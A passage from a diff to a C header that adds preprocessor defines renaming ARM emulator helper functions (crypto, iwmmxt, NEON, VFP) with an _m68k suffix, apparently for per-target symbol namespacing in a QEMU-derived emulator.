gen_helper_cpsr_write_m68k +#define gen_helper_crc32_arm gen_helper_crc32_arm_m68k +#define gen_helper_crc32c gen_helper_crc32c_m68k +#define gen_helper_crypto_aese gen_helper_crypto_aese_m68k +#define gen_helper_crypto_aesmc gen_helper_crypto_aesmc_m68k +#define gen_helper_crypto_sha1_3reg gen_helper_crypto_sha1_3reg_m68k +#define gen_helper_crypto_sha1h gen_helper_crypto_sha1h_m68k +#define gen_helper_crypto_sha1su1 gen_helper_crypto_sha1su1_m68k +#define gen_helper_crypto_sha256h gen_helper_crypto_sha256h_m68k +#define gen_helper_crypto_sha256h2 gen_helper_crypto_sha256h2_m68k +#define gen_helper_crypto_sha256su0 gen_helper_crypto_sha256su0_m68k +#define gen_helper_crypto_sha256su1 gen_helper_crypto_sha256su1_m68k +#define gen_helper_double_saturate gen_helper_double_saturate_m68k +#define gen_helper_exception_internal gen_helper_exception_internal_m68k +#define gen_helper_exception_with_syndrome gen_helper_exception_with_syndrome_m68k +#define gen_helper_get_cp_reg gen_helper_get_cp_reg_m68k +#define gen_helper_get_cp_reg64 gen_helper_get_cp_reg64_m68k +#define gen_helper_get_r13_banked gen_helper_get_r13_banked_m68k +#define gen_helper_get_user_reg gen_helper_get_user_reg_m68k +#define gen_helper_iwmmxt_addcb gen_helper_iwmmxt_addcb_m68k +#define gen_helper_iwmmxt_addcl gen_helper_iwmmxt_addcl_m68k +#define gen_helper_iwmmxt_addcw gen_helper_iwmmxt_addcw_m68k +#define gen_helper_iwmmxt_addnb gen_helper_iwmmxt_addnb_m68k +#define gen_helper_iwmmxt_addnl gen_helper_iwmmxt_addnl_m68k +#define gen_helper_iwmmxt_addnw gen_helper_iwmmxt_addnw_m68k +#define gen_helper_iwmmxt_addsb gen_helper_iwmmxt_addsb_m68k +#define gen_helper_iwmmxt_addsl gen_helper_iwmmxt_addsl_m68k +#define gen_helper_iwmmxt_addsw gen_helper_iwmmxt_addsw_m68k +#define gen_helper_iwmmxt_addub gen_helper_iwmmxt_addub_m68k +#define gen_helper_iwmmxt_addul gen_helper_iwmmxt_addul_m68k +#define gen_helper_iwmmxt_adduw gen_helper_iwmmxt_adduw_m68k +#define gen_helper_iwmmxt_align gen_helper_iwmmxt_align_m68k +#define gen_helper_iwmmxt_avgb0 gen_helper_iwmmxt_avgb0_m68k +#define gen_helper_iwmmxt_avgb1 gen_helper_iwmmxt_avgb1_m68k +#define gen_helper_iwmmxt_avgw0 gen_helper_iwmmxt_avgw0_m68k +#define gen_helper_iwmmxt_avgw1 gen_helper_iwmmxt_avgw1_m68k +#define gen_helper_iwmmxt_bcstb gen_helper_iwmmxt_bcstb_m68k +#define gen_helper_iwmmxt_bcstl gen_helper_iwmmxt_bcstl_m68k +#define gen_helper_iwmmxt_bcstw gen_helper_iwmmxt_bcstw_m68k +#define gen_helper_iwmmxt_cmpeqb gen_helper_iwmmxt_cmpeqb_m68k +#define gen_helper_iwmmxt_cmpeql gen_helper_iwmmxt_cmpeql_m68k +#define gen_helper_iwmmxt_cmpeqw gen_helper_iwmmxt_cmpeqw_m68k +#define gen_helper_iwmmxt_cmpgtsb gen_helper_iwmmxt_cmpgtsb_m68k +#define gen_helper_iwmmxt_cmpgtsl gen_helper_iwmmxt_cmpgtsl_m68k +#define gen_helper_iwmmxt_cmpgtsw gen_helper_iwmmxt_cmpgtsw_m68k +#define gen_helper_iwmmxt_cmpgtub gen_helper_iwmmxt_cmpgtub_m68k +#define gen_helper_iwmmxt_cmpgtul gen_helper_iwmmxt_cmpgtul_m68k +#define gen_helper_iwmmxt_cmpgtuw gen_helper_iwmmxt_cmpgtuw_m68k +#define gen_helper_iwmmxt_insr gen_helper_iwmmxt_insr_m68k +#define gen_helper_iwmmxt_macsw gen_helper_iwmmxt_macsw_m68k +#define gen_helper_iwmmxt_macuw gen_helper_iwmmxt_macuw_m68k +#define gen_helper_iwmmxt_maddsq gen_helper_iwmmxt_maddsq_m68k +#define gen_helper_iwmmxt_madduq gen_helper_iwmmxt_madduq_m68k +#define gen_helper_iwmmxt_maxsb gen_helper_iwmmxt_maxsb_m68k +#define gen_helper_iwmmxt_maxsl gen_helper_iwmmxt_maxsl_m68k +#define gen_helper_iwmmxt_maxsw gen_helper_iwmmxt_maxsw_m68k +#define gen_helper_iwmmxt_maxub gen_helper_iwmmxt_maxub_m68k +#define gen_helper_iwmmxt_maxul gen_helper_iwmmxt_maxul_m68k +#define gen_helper_iwmmxt_maxuw gen_helper_iwmmxt_maxuw_m68k +#define gen_helper_iwmmxt_minsb gen_helper_iwmmxt_minsb_m68k +#define gen_helper_iwmmxt_minsl gen_helper_iwmmxt_minsl_m68k +#define gen_helper_iwmmxt_minsw gen_helper_iwmmxt_minsw_m68k +#define gen_helper_iwmmxt_minub gen_helper_iwmmxt_minub_m68k +#define gen_helper_iwmmxt_minul gen_helper_iwmmxt_minul_m68k +#define gen_helper_iwmmxt_minuw gen_helper_iwmmxt_minuw_m68k +#define gen_helper_iwmmxt_msbb gen_helper_iwmmxt_msbb_m68k +#define gen_helper_iwmmxt_msbl gen_helper_iwmmxt_msbl_m68k +#define gen_helper_iwmmxt_msbw gen_helper_iwmmxt_msbw_m68k +#define gen_helper_iwmmxt_muladdsl gen_helper_iwmmxt_muladdsl_m68k +#define gen_helper_iwmmxt_muladdsw gen_helper_iwmmxt_muladdsw_m68k +#define gen_helper_iwmmxt_muladdswl gen_helper_iwmmxt_muladdswl_m68k +#define gen_helper_iwmmxt_mulshw gen_helper_iwmmxt_mulshw_m68k +#define gen_helper_iwmmxt_mulslw gen_helper_iwmmxt_mulslw_m68k +#define gen_helper_iwmmxt_muluhw gen_helper_iwmmxt_muluhw_m68k +#define gen_helper_iwmmxt_mululw gen_helper_iwmmxt_mululw_m68k +#define gen_helper_iwmmxt_packsl gen_helper_iwmmxt_packsl_m68k +#define gen_helper_iwmmxt_packsq gen_helper_iwmmxt_packsq_m68k +#define gen_helper_iwmmxt_packsw gen_helper_iwmmxt_packsw_m68k +#define gen_helper_iwmmxt_packul gen_helper_iwmmxt_packul_m68k +#define gen_helper_iwmmxt_packuq gen_helper_iwmmxt_packuq_m68k +#define gen_helper_iwmmxt_packuw gen_helper_iwmmxt_packuw_m68k +#define gen_helper_iwmmxt_rorl gen_helper_iwmmxt_rorl_m68k +#define gen_helper_iwmmxt_rorq gen_helper_iwmmxt_rorq_m68k +#define gen_helper_iwmmxt_rorw gen_helper_iwmmxt_rorw_m68k +#define gen_helper_iwmmxt_sadb gen_helper_iwmmxt_sadb_m68k +#define gen_helper_iwmmxt_sadw gen_helper_iwmmxt_sadw_m68k +#define gen_helper_iwmmxt_setpsr_nz gen_helper_iwmmxt_setpsr_nz_m68k +#define gen_helper_iwmmxt_shufh gen_helper_iwmmxt_shufh_m68k +#define gen_helper_iwmmxt_slll gen_helper_iwmmxt_slll_m68k +#define gen_helper_iwmmxt_sllq gen_helper_iwmmxt_sllq_m68k +#define gen_helper_iwmmxt_sllw gen_helper_iwmmxt_sllw_m68k +#define gen_helper_iwmmxt_sral gen_helper_iwmmxt_sral_m68k +#define gen_helper_iwmmxt_sraq gen_helper_iwmmxt_sraq_m68k +#define gen_helper_iwmmxt_sraw gen_helper_iwmmxt_sraw_m68k +#define gen_helper_iwmmxt_srll gen_helper_iwmmxt_srll_m68k +#define gen_helper_iwmmxt_srlq gen_helper_iwmmxt_srlq_m68k +#define gen_helper_iwmmxt_srlw gen_helper_iwmmxt_srlw_m68k +#define gen_helper_iwmmxt_subnb gen_helper_iwmmxt_subnb_m68k +#define gen_helper_iwmmxt_subnl gen_helper_iwmmxt_subnl_m68k +#define gen_helper_iwmmxt_subnw gen_helper_iwmmxt_subnw_m68k +#define gen_helper_iwmmxt_subsb gen_helper_iwmmxt_subsb_m68k +#define gen_helper_iwmmxt_subsl gen_helper_iwmmxt_subsl_m68k +#define gen_helper_iwmmxt_subsw gen_helper_iwmmxt_subsw_m68k +#define gen_helper_iwmmxt_subub gen_helper_iwmmxt_subub_m68k +#define gen_helper_iwmmxt_subul gen_helper_iwmmxt_subul_m68k +#define gen_helper_iwmmxt_subuw gen_helper_iwmmxt_subuw_m68k +#define gen_helper_iwmmxt_unpackhb gen_helper_iwmmxt_unpackhb_m68k +#define gen_helper_iwmmxt_unpackhl gen_helper_iwmmxt_unpackhl_m68k +#define gen_helper_iwmmxt_unpackhsb gen_helper_iwmmxt_unpackhsb_m68k +#define gen_helper_iwmmxt_unpackhsl gen_helper_iwmmxt_unpackhsl_m68k +#define gen_helper_iwmmxt_unpackhsw gen_helper_iwmmxt_unpackhsw_m68k +#define gen_helper_iwmmxt_unpackhub gen_helper_iwmmxt_unpackhub_m68k +#define gen_helper_iwmmxt_unpackhul gen_helper_iwmmxt_unpackhul_m68k +#define gen_helper_iwmmxt_unpackhuw gen_helper_iwmmxt_unpackhuw_m68k +#define gen_helper_iwmmxt_unpackhw gen_helper_iwmmxt_unpackhw_m68k +#define gen_helper_iwmmxt_unpacklb gen_helper_iwmmxt_unpacklb_m68k +#define gen_helper_iwmmxt_unpackll gen_helper_iwmmxt_unpackll_m68k +#define gen_helper_iwmmxt_unpacklsb gen_helper_iwmmxt_unpacklsb_m68k +#define gen_helper_iwmmxt_unpacklsl gen_helper_iwmmxt_unpacklsl_m68k +#define gen_helper_iwmmxt_unpacklsw gen_helper_iwmmxt_unpacklsw_m68k +#define gen_helper_iwmmxt_unpacklub gen_helper_iwmmxt_unpacklub_m68k +#define gen_helper_iwmmxt_unpacklul gen_helper_iwmmxt_unpacklul_m68k +#define gen_helper_iwmmxt_unpackluw gen_helper_iwmmxt_unpackluw_m68k +#define gen_helper_iwmmxt_unpacklw gen_helper_iwmmxt_unpacklw_m68k +#define gen_helper_neon_abd_f32 gen_helper_neon_abd_f32_m68k +#define gen_helper_neon_abdl_s16 gen_helper_neon_abdl_s16_m68k +#define gen_helper_neon_abdl_s32 gen_helper_neon_abdl_s32_m68k +#define gen_helper_neon_abdl_s64 gen_helper_neon_abdl_s64_m68k +#define gen_helper_neon_abdl_u16 gen_helper_neon_abdl_u16_m68k +#define gen_helper_neon_abdl_u32 gen_helper_neon_abdl_u32_m68k +#define gen_helper_neon_abdl_u64 gen_helper_neon_abdl_u64_m68k +#define gen_helper_neon_abd_s16 gen_helper_neon_abd_s16_m68k +#define gen_helper_neon_abd_s32 gen_helper_neon_abd_s32_m68k +#define gen_helper_neon_abd_s8 gen_helper_neon_abd_s8_m68k +#define gen_helper_neon_abd_u16 gen_helper_neon_abd_u16_m68k +#define gen_helper_neon_abd_u32 gen_helper_neon_abd_u32_m68k +#define gen_helper_neon_abd_u8 gen_helper_neon_abd_u8_m68k +#define gen_helper_neon_abs_s16 gen_helper_neon_abs_s16_m68k +#define gen_helper_neon_abs_s8 gen_helper_neon_abs_s8_m68k +#define gen_helper_neon_acge_f32 gen_helper_neon_acge_f32_m68k +#define gen_helper_neon_acgt_f32 gen_helper_neon_acgt_f32_m68k +#define gen_helper_neon_addl_saturate_s32 gen_helper_neon_addl_saturate_s32_m68k +#define gen_helper_neon_addl_saturate_s64 gen_helper_neon_addl_saturate_s64_m68k +#define gen_helper_neon_addl_u16 gen_helper_neon_addl_u16_m68k +#define gen_helper_neon_addl_u32 gen_helper_neon_addl_u32_m68k +#define gen_helper_neon_add_u16 gen_helper_neon_add_u16_m68k +#define gen_helper_neon_add_u8 gen_helper_neon_add_u8_m68k +#define gen_helper_neon_ceq_f32 gen_helper_neon_ceq_f32_m68k +#define gen_helper_neon_ceq_u16 gen_helper_neon_ceq_u16_m68k +#define gen_helper_neon_ceq_u32 gen_helper_neon_ceq_u32_m68k +#define gen_helper_neon_ceq_u8 gen_helper_neon_ceq_u8_m68k +#define gen_helper_neon_cge_f32 gen_helper_neon_cge_f32_m68k +#define gen_helper_neon_cge_s16 gen_helper_neon_cge_s16_m68k +#define gen_helper_neon_cge_s32 gen_helper_neon_cge_s32_m68k +#define gen_helper_neon_cge_s8 gen_helper_neon_cge_s8_m68k +#define gen_helper_neon_cge_u16 gen_helper_neon_cge_u16_m68k +#define gen_helper_neon_cge_u32 gen_helper_neon_cge_u32_m68k +#define gen_helper_neon_cge_u8 gen_helper_neon_cge_u8_m68k +#define gen_helper_neon_cgt_f32 gen_helper_neon_cgt_f32_m68k +#define gen_helper_neon_cgt_s16 gen_helper_neon_cgt_s16_m68k +#define gen_helper_neon_cgt_s32 gen_helper_neon_cgt_s32_m68k +#define gen_helper_neon_cgt_s8 gen_helper_neon_cgt_s8_m68k +#define gen_helper_neon_cgt_u16 gen_helper_neon_cgt_u16_m68k +#define gen_helper_neon_cgt_u32 gen_helper_neon_cgt_u32_m68k +#define gen_helper_neon_cgt_u8 gen_helper_neon_cgt_u8_m68k +#define gen_helper_neon_cls_s16 gen_helper_neon_cls_s16_m68k +#define gen_helper_neon_cls_s32 gen_helper_neon_cls_s32_m68k +#define gen_helper_neon_cls_s8 gen_helper_neon_cls_s8_m68k +#define gen_helper_neon_clz_u16 gen_helper_neon_clz_u16_m68k +#define gen_helper_neon_clz_u8 gen_helper_neon_clz_u8_m68k +#define gen_helper_neon_cnt_u8 gen_helper_neon_cnt_u8_m68k +#define gen_helper_neon_fcvt_f16_to_f32 gen_helper_neon_fcvt_f16_to_f32_m68k +#define gen_helper_neon_fcvt_f32_to_f16 gen_helper_neon_fcvt_f32_to_f16_m68k +#define gen_helper_neon_hadd_s16 gen_helper_neon_hadd_s16_m68k +#define gen_helper_neon_hadd_s32 gen_helper_neon_hadd_s32_m68k +#define gen_helper_neon_hadd_s8 gen_helper_neon_hadd_s8_m68k +#define gen_helper_neon_hadd_u16 gen_helper_neon_hadd_u16_m68k +#define gen_helper_neon_hadd_u32 gen_helper_neon_hadd_u32_m68k +#define gen_helper_neon_hadd_u8 gen_helper_neon_hadd_u8_m68k +#define gen_helper_neon_hsub_s16 gen_helper_neon_hsub_s16_m68k +#define gen_helper_neon_hsub_s32 gen_helper_neon_hsub_s32_m68k +#define gen_helper_neon_hsub_s8 gen_helper_neon_hsub_s8_m68k +#define gen_helper_neon_hsub_u16 gen_helper_neon_hsub_u16_m68k +#define gen_helper_neon_hsub_u32 gen_helper_neon_hsub_u32_m68k +#define gen_helper_neon_hsub_u8 gen_helper_neon_hsub_u8_m68k +#define gen_helper_neon_max_s16 gen_helper_neon_max_s16_m68k +#define gen_helper_neon_max_s32 gen_helper_neon_max_s32_m68k +#define gen_helper_neon_max_s8 gen_helper_neon_max_s8_m68k +#define gen_helper_neon_max_u16 gen_helper_neon_max_u16_m68k +#define gen_helper_neon_max_u32 gen_helper_neon_max_u32_m68k +#define gen_helper_neon_max_u8 gen_helper_neon_max_u8_m68k +#define gen_helper_neon_min_s16 gen_helper_neon_min_s16_m68k +#define gen_helper_neon_min_s32 gen_helper_neon_min_s32_m68k +#define gen_helper_neon_min_s8 gen_helper_neon_min_s8_m68k +#define gen_helper_neon_min_u16 gen_helper_neon_min_u16_m68k +#define gen_helper_neon_min_u32 gen_helper_neon_min_u32_m68k +#define gen_helper_neon_min_u8 gen_helper_neon_min_u8_m68k +#define gen_helper_neon_mull_p8 gen_helper_neon_mull_p8_m68k +#define gen_helper_neon_mull_s16 gen_helper_neon_mull_s16_m68k +#define gen_helper_neon_mull_s8 gen_helper_neon_mull_s8_m68k +#define gen_helper_neon_mull_u16 gen_helper_neon_mull_u16_m68k +#define gen_helper_neon_mull_u8 gen_helper_neon_mull_u8_m68k +#define gen_helper_neon_mul_p8 gen_helper_neon_mul_p8_m68k +#define gen_helper_neon_mul_u16 gen_helper_neon_mul_u16_m68k +#define gen_helper_neon_mul_u8 gen_helper_neon_mul_u8_m68k +#define gen_helper_neon_narrow_high_u16 gen_helper_neon_narrow_high_u16_m68k +#define gen_helper_neon_narrow_high_u8 gen_helper_neon_narrow_high_u8_m68k +#define gen_helper_neon_narrow_round_high_u16 gen_helper_neon_narrow_round_high_u16_m68k +#define gen_helper_neon_narrow_round_high_u8 gen_helper_neon_narrow_round_high_u8_m68k +#define gen_helper_neon_narrow_sat_s16 gen_helper_neon_narrow_sat_s16_m68k +#define gen_helper_neon_narrow_sat_s32 gen_helper_neon_narrow_sat_s32_m68k +#define gen_helper_neon_narrow_sat_s8 gen_helper_neon_narrow_sat_s8_m68k +#define gen_helper_neon_narrow_sat_u16 gen_helper_neon_narrow_sat_u16_m68k +#define gen_helper_neon_narrow_sat_u32 gen_helper_neon_narrow_sat_u32_m68k +#define gen_helper_neon_narrow_sat_u8 gen_helper_neon_narrow_sat_u8_m68k +#define gen_helper_neon_narrow_u16 gen_helper_neon_narrow_u16_m68k +#define gen_helper_neon_narrow_u8 gen_helper_neon_narrow_u8_m68k +#define gen_helper_neon_negl_u16 gen_helper_neon_negl_u16_m68k +#define gen_helper_neon_negl_u32 gen_helper_neon_negl_u32_m68k +#define gen_helper_neon_paddl_u16 gen_helper_neon_paddl_u16_m68k +#define gen_helper_neon_paddl_u32 gen_helper_neon_paddl_u32_m68k +#define gen_helper_neon_padd_u16 gen_helper_neon_padd_u16_m68k +#define gen_helper_neon_padd_u8 gen_helper_neon_padd_u8_m68k +#define gen_helper_neon_pmax_s16 gen_helper_neon_pmax_s16_m68k +#define gen_helper_neon_pmax_s8 gen_helper_neon_pmax_s8_m68k +#define gen_helper_neon_pmax_u16 gen_helper_neon_pmax_u16_m68k +#define gen_helper_neon_pmax_u8 gen_helper_neon_pmax_u8_m68k +#define gen_helper_neon_pmin_s16 gen_helper_neon_pmin_s16_m68k +#define gen_helper_neon_pmin_s8 gen_helper_neon_pmin_s8_m68k +#define gen_helper_neon_pmin_u16 gen_helper_neon_pmin_u16_m68k +#define gen_helper_neon_pmin_u8 gen_helper_neon_pmin_u8_m68k +#define gen_helper_neon_pmull_64_hi gen_helper_neon_pmull_64_hi_m68k +#define gen_helper_neon_pmull_64_lo gen_helper_neon_pmull_64_lo_m68k +#define gen_helper_neon_qabs_s16 gen_helper_neon_qabs_s16_m68k +#define gen_helper_neon_qabs_s32 gen_helper_neon_qabs_s32_m68k +#define gen_helper_neon_qabs_s8 gen_helper_neon_qabs_s8_m68k +#define gen_helper_neon_qadd_s16 gen_helper_neon_qadd_s16_m68k +#define gen_helper_neon_qadd_s32 gen_helper_neon_qadd_s32_m68k +#define gen_helper_neon_qadd_s64 gen_helper_neon_qadd_s64_m68k +#define gen_helper_neon_qadd_s8 gen_helper_neon_qadd_s8_m68k +#define gen_helper_neon_qadd_u16 gen_helper_neon_qadd_u16_m68k +#define gen_helper_neon_qadd_u32 gen_helper_neon_qadd_u32_m68k +#define gen_helper_neon_qadd_u64 gen_helper_neon_qadd_u64_m68k +#define gen_helper_neon_qadd_u8 gen_helper_neon_qadd_u8_m68k +#define gen_helper_neon_qdmulh_s16 gen_helper_neon_qdmulh_s16_m68k +#define gen_helper_neon_qdmulh_s32 gen_helper_neon_qdmulh_s32_m68k +#define gen_helper_neon_qneg_s16 gen_helper_neon_qneg_s16_m68k +#define gen_helper_neon_qneg_s32 gen_helper_neon_qneg_s32_m68k +#define gen_helper_neon_qneg_s8 gen_helper_neon_qneg_s8_m68k +#define gen_helper_neon_qrdmulh_s16 gen_helper_neon_qrdmulh_s16_m68k +#define gen_helper_neon_qrdmulh_s32 gen_helper_neon_qrdmulh_s32_m68k +#define gen_helper_neon_qrshl_s16 gen_helper_neon_qrshl_s16_m68k +#define gen_helper_neon_qrshl_s32 gen_helper_neon_qrshl_s32_m68k +#define gen_helper_neon_qrshl_s64 gen_helper_neon_qrshl_s64_m68k +#define gen_helper_neon_qrshl_s8 gen_helper_neon_qrshl_s8_m68k +#define gen_helper_neon_qrshl_u16 gen_helper_neon_qrshl_u16_m68k +#define gen_helper_neon_qrshl_u32 gen_helper_neon_qrshl_u32_m68k +#define gen_helper_neon_qrshl_u64 gen_helper_neon_qrshl_u64_m68k +#define gen_helper_neon_qrshl_u8 gen_helper_neon_qrshl_u8_m68k +#define gen_helper_neon_qshl_s16 gen_helper_neon_qshl_s16_m68k +#define gen_helper_neon_qshl_s32 gen_helper_neon_qshl_s32_m68k +#define gen_helper_neon_qshl_s64 gen_helper_neon_qshl_s64_m68k +#define gen_helper_neon_qshl_s8 gen_helper_neon_qshl_s8_m68k +#define gen_helper_neon_qshl_u16 gen_helper_neon_qshl_u16_m68k +#define gen_helper_neon_qshl_u32 gen_helper_neon_qshl_u32_m68k +#define gen_helper_neon_qshl_u64 gen_helper_neon_qshl_u64_m68k +#define gen_helper_neon_qshl_u8 gen_helper_neon_qshl_u8_m68k +#define gen_helper_neon_qshlu_s16 gen_helper_neon_qshlu_s16_m68k +#define gen_helper_neon_qshlu_s32 gen_helper_neon_qshlu_s32_m68k +#define gen_helper_neon_qshlu_s64 gen_helper_neon_qshlu_s64_m68k +#define gen_helper_neon_qshlu_s8 gen_helper_neon_qshlu_s8_m68k +#define gen_helper_neon_qsub_s16 gen_helper_neon_qsub_s16_m68k +#define gen_helper_neon_qsub_s32 gen_helper_neon_qsub_s32_m68k +#define gen_helper_neon_qsub_s64 gen_helper_neon_qsub_s64_m68k +#define gen_helper_neon_qsub_s8 gen_helper_neon_qsub_s8_m68k +#define gen_helper_neon_qsub_u16 gen_helper_neon_qsub_u16_m68k +#define gen_helper_neon_qsub_u32 gen_helper_neon_qsub_u32_m68k +#define gen_helper_neon_qsub_u64 gen_helper_neon_qsub_u64_m68k +#define gen_helper_neon_qsub_u8 gen_helper_neon_qsub_u8_m68k +#define gen_helper_neon_qunzip16 gen_helper_neon_qunzip16_m68k +#define gen_helper_neon_qunzip32 gen_helper_neon_qunzip32_m68k +#define gen_helper_neon_qunzip8 gen_helper_neon_qunzip8_m68k +#define gen_helper_neon_qzip16 gen_helper_neon_qzip16_m68k +#define gen_helper_neon_qzip32 gen_helper_neon_qzip32_m68k +#define gen_helper_neon_qzip8 gen_helper_neon_qzip8_m68k +#define gen_helper_neon_rhadd_s16 gen_helper_neon_rhadd_s16_m68k +#define gen_helper_neon_rhadd_s32 gen_helper_neon_rhadd_s32_m68k +#define gen_helper_neon_rhadd_s8 gen_helper_neon_rhadd_s8_m68k +#define gen_helper_neon_rhadd_u16 gen_helper_neon_rhadd_u16_m68k +#define gen_helper_neon_rhadd_u32 gen_helper_neon_rhadd_u32_m68k +#define gen_helper_neon_rhadd_u8 gen_helper_neon_rhadd_u8_m68k +#define gen_helper_neon_rshl_s16 gen_helper_neon_rshl_s16_m68k +#define gen_helper_neon_rshl_s32 gen_helper_neon_rshl_s32_m68k +#define gen_helper_neon_rshl_s64 gen_helper_neon_rshl_s64_m68k +#define gen_helper_neon_rshl_s8 gen_helper_neon_rshl_s8_m68k +#define gen_helper_neon_rshl_u16 gen_helper_neon_rshl_u16_m68k +#define gen_helper_neon_rshl_u32 gen_helper_neon_rshl_u32_m68k +#define gen_helper_neon_rshl_u64 gen_helper_neon_rshl_u64_m68k +#define gen_helper_neon_rshl_u8 gen_helper_neon_rshl_u8_m68k +#define gen_helper_neon_shl_s16 gen_helper_neon_shl_s16_m68k +#define gen_helper_neon_shl_s32 gen_helper_neon_shl_s32_m68k +#define gen_helper_neon_shl_s64 gen_helper_neon_shl_s64_m68k +#define gen_helper_neon_shl_s8 gen_helper_neon_shl_s8_m68k +#define gen_helper_neon_shl_u16 gen_helper_neon_shl_u16_m68k +#define gen_helper_neon_shl_u32 gen_helper_neon_shl_u32_m68k +#define gen_helper_neon_shl_u64 gen_helper_neon_shl_u64_m68k +#define gen_helper_neon_shl_u8 gen_helper_neon_shl_u8_m68k +#define gen_helper_neon_subl_u16 gen_helper_neon_subl_u16_m68k +#define gen_helper_neon_subl_u32 gen_helper_neon_subl_u32_m68k +#define gen_helper_neon_sub_u16 gen_helper_neon_sub_u16_m68k +#define gen_helper_neon_sub_u8 gen_helper_neon_sub_u8_m68k +#define gen_helper_neon_tbl gen_helper_neon_tbl_m68k +#define gen_helper_neon_tst_u16 gen_helper_neon_tst_u16_m68k +#define gen_helper_neon_tst_u32 gen_helper_neon_tst_u32_m68k +#define gen_helper_neon_tst_u8 gen_helper_neon_tst_u8_m68k +#define gen_helper_neon_unarrow_sat16 gen_helper_neon_unarrow_sat16_m68k +#define gen_helper_neon_unarrow_sat32 gen_helper_neon_unarrow_sat32_m68k +#define gen_helper_neon_unarrow_sat8 gen_helper_neon_unarrow_sat8_m68k +#define gen_helper_neon_unzip16 gen_helper_neon_unzip16_m68k +#define gen_helper_neon_unzip8 gen_helper_neon_unzip8_m68k +#define gen_helper_neon_widen_s16 gen_helper_neon_widen_s16_m68k +#define gen_helper_neon_widen_s8 gen_helper_neon_widen_s8_m68k +#define gen_helper_neon_widen_u16 gen_helper_neon_widen_u16_m68k +#define gen_helper_neon_widen_u8 gen_helper_neon_widen_u8_m68k +#define gen_helper_neon_zip16 gen_helper_neon_zip16_m68k +#define gen_helper_neon_zip8 gen_helper_neon_zip8_m68k +#define gen_helper_pre_hvc gen_helper_pre_hvc_m68k +#define gen_helper_pre_smc gen_helper_pre_smc_m68k +#define gen_helper_qadd16 gen_helper_qadd16_m68k +#define gen_helper_qadd8 gen_helper_qadd8_m68k +#define gen_helper_qaddsubx gen_helper_qaddsubx_m68k +#define gen_helper_qsub16 gen_helper_qsub16_m68k +#define gen_helper_qsub8 gen_helper_qsub8_m68k +#define gen_helper_qsubaddx gen_helper_qsubaddx_m68k +#define gen_helper_rbit gen_helper_rbit_m68k +#define gen_helper_recpe_f32 gen_helper_recpe_f32_m68k +#define gen_helper_recpe_u32 gen_helper_recpe_u32_m68k +#define gen_helper_recps_f32 gen_helper_recps_f32_m68k +#define gen_helper_rintd gen_helper_rintd_m68k +#define gen_helper_rintd_exact gen_helper_rintd_exact_m68k +#define gen_helper_rints gen_helper_rints_m68k +#define gen_helper_rints_exact gen_helper_rints_exact_m68k +#define gen_helper_ror_cc gen_helper_ror_cc_m68k +#define gen_helper_rsqrte_f32 gen_helper_rsqrte_f32_m68k +#define gen_helper_rsqrte_u32 gen_helper_rsqrte_u32_m68k +#define gen_helper_rsqrts_f32 gen_helper_rsqrts_f32_m68k +#define gen_helper_sadd16 gen_helper_sadd16_m68k +#define gen_helper_sadd8 gen_helper_sadd8_m68k +#define gen_helper_saddsubx gen_helper_saddsubx_m68k +#define gen_helper_sar_cc gen_helper_sar_cc_m68k +#define gen_helper_sdiv gen_helper_sdiv_m68k +#define gen_helper_sel_flags gen_helper_sel_flags_m68k +#define gen_helper_set_cp_reg gen_helper_set_cp_reg_m68k +#define gen_helper_set_cp_reg64 gen_helper_set_cp_reg64_m68k +#define gen_helper_set_neon_rmode gen_helper_set_neon_rmode_m68k +#define gen_helper_set_r13_banked gen_helper_set_r13_banked_m68k +#define gen_helper_set_rmode gen_helper_set_rmode_m68k +#define gen_helper_set_user_reg gen_helper_set_user_reg_m68k +#define gen_helper_shadd16 gen_helper_shadd16_m68k +#define gen_helper_shadd8 gen_helper_shadd8_m68k +#define gen_helper_shaddsubx gen_helper_shaddsubx_m68k +#define gen_helper_shl_cc gen_helper_shl_cc_m68k +#define gen_helper_shr_cc gen_helper_shr_cc_m68k +#define gen_helper_shsub16 gen_helper_shsub16_m68k +#define gen_helper_shsub8 gen_helper_shsub8_m68k +#define gen_helper_shsubaddx gen_helper_shsubaddx_m68k +#define gen_helper_ssat gen_helper_ssat_m68k +#define gen_helper_ssat16 gen_helper_ssat16_m68k +#define gen_helper_ssub16 gen_helper_ssub16_m68k +#define gen_helper_ssub8 gen_helper_ssub8_m68k +#define gen_helper_ssubaddx gen_helper_ssubaddx_m68k +#define gen_helper_sub_saturate gen_helper_sub_saturate_m68k +#define gen_helper_sxtb16 gen_helper_sxtb16_m68k +#define gen_helper_uadd16 gen_helper_uadd16_m68k +#define gen_helper_uadd8 gen_helper_uadd8_m68k +#define gen_helper_uaddsubx gen_helper_uaddsubx_m68k +#define gen_helper_udiv gen_helper_udiv_m68k +#define gen_helper_uhadd16 gen_helper_uhadd16_m68k +#define gen_helper_uhadd8 gen_helper_uhadd8_m68k +#define gen_helper_uhaddsubx gen_helper_uhaddsubx_m68k +#define gen_helper_uhsub16 gen_helper_uhsub16_m68k +#define gen_helper_uhsub8 gen_helper_uhsub8_m68k +#define gen_helper_uhsubaddx gen_helper_uhsubaddx_m68k +#define gen_helper_uqadd16 gen_helper_uqadd16_m68k +#define gen_helper_uqadd8 gen_helper_uqadd8_m68k +#define gen_helper_uqaddsubx gen_helper_uqaddsubx_m68k +#define gen_helper_uqsub16 gen_helper_uqsub16_m68k +#define gen_helper_uqsub8 gen_helper_uqsub8_m68k +#define gen_helper_uqsubaddx gen_helper_uqsubaddx_m68k +#define gen_helper_usad8 gen_helper_usad8_m68k +#define gen_helper_usat gen_helper_usat_m68k +#define gen_helper_usat16 gen_helper_usat16_m68k +#define gen_helper_usub16 gen_helper_usub16_m68k +#define gen_helper_usub8 gen_helper_usub8_m68k +#define gen_helper_usubaddx gen_helper_usubaddx_m68k +#define gen_helper_uxtb16 gen_helper_uxtb16_m68k +#define gen_helper_v7m_mrs gen_helper_v7m_mrs_m68k +#define gen_helper_v7m_msr gen_helper_v7m_msr_m68k +#define gen_helper_vfp_absd gen_helper_vfp_absd_m68k +#define gen_helper_vfp_abss gen_helper_vfp_abss_m68k +#define gen_helper_vfp_addd gen_helper_vfp_addd_m68k +#define gen_helper_vfp_adds gen_helper_vfp_adds_m68k +#define gen_helper_vfp_cmpd gen_helper_vfp_cmpd_m68k +#define gen_helper_vfp_cmped gen_helper_vfp_cmped_m68k +#define gen_helper_vfp_cmpes gen_helper_vfp_cmpes_m68k +#define gen_helper_vfp_cmps gen_helper_vfp_cmps_m68k +#define gen_helper_vfp_divd gen_helper_vfp_divd_m68k +#define gen_helper_vfp_divs gen_helper_vfp_divs_m68k +#define 